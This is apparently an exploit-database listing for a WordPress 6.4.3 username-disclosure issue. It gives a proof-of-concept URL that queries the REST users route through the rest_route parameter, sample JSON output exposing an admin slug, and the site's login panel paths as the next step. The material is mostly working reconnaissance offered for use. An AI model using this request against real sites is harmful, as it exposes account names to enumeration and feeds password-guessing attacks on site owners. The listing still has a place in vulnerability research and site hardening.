WordPress 6.4.3 Username Disclosure

# Title: wordpress 6.4.3 - Username Disclosure# Author: h4shur# date:2024-02-21# Vendor Homepage: https://www.wordpress.org# Software Link: https://www.wordpress.org/download# Version:  6.4.3 and earlier# Tested on: Windows 10 & Google Chrome# Category : Web Application Bugs### Description :the REST API allows simulating different request types. As such, we canperform a POST request with the “users” string in the body of the request,and tell the REST API to act like it’s received a GET request.You can see the management username in the "slug" feature. And evensecurity plugins like "iThemes Security" do not block this path.### POC :https://target.com/wp-json/?rest_route=/wp/v2/users/# output :[{"id":1,"name":"admin","url":"https:\/\/target.com","description":"","link":"https:\/\/target.com\/?author=1","slug":"admin_1l","avatar_urls":{"24":"https:\/\/secure.gravatar.com\/avatar\/f796ffd8af7172647b2f54ce8104919e?s=24&d=mm&r=g","48":"https:\/\/secure.gravatar.com\/avatar\/f796ffd8af7172647b2f54ce8104919e?s=48&d=mm&r=g","96":"https:\/\/secure.gravatar.com\/avatar\/f796ffd8af7172647b2f54ce8104919e?s=96&d=mm&r=g"},"meta":[],"_links":{"self":[{"href":"https:\/\/target.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"collection":[{"href":"https:\/\/target.com\/index.php?rest_route=\/wp\/v2\/users"}]}}]### Admin Panel :https://target.com/wp-adminhttps://target.com/login.php### contact :[email protected]/h4shurinstagram.com/h4shurt.me/h4shur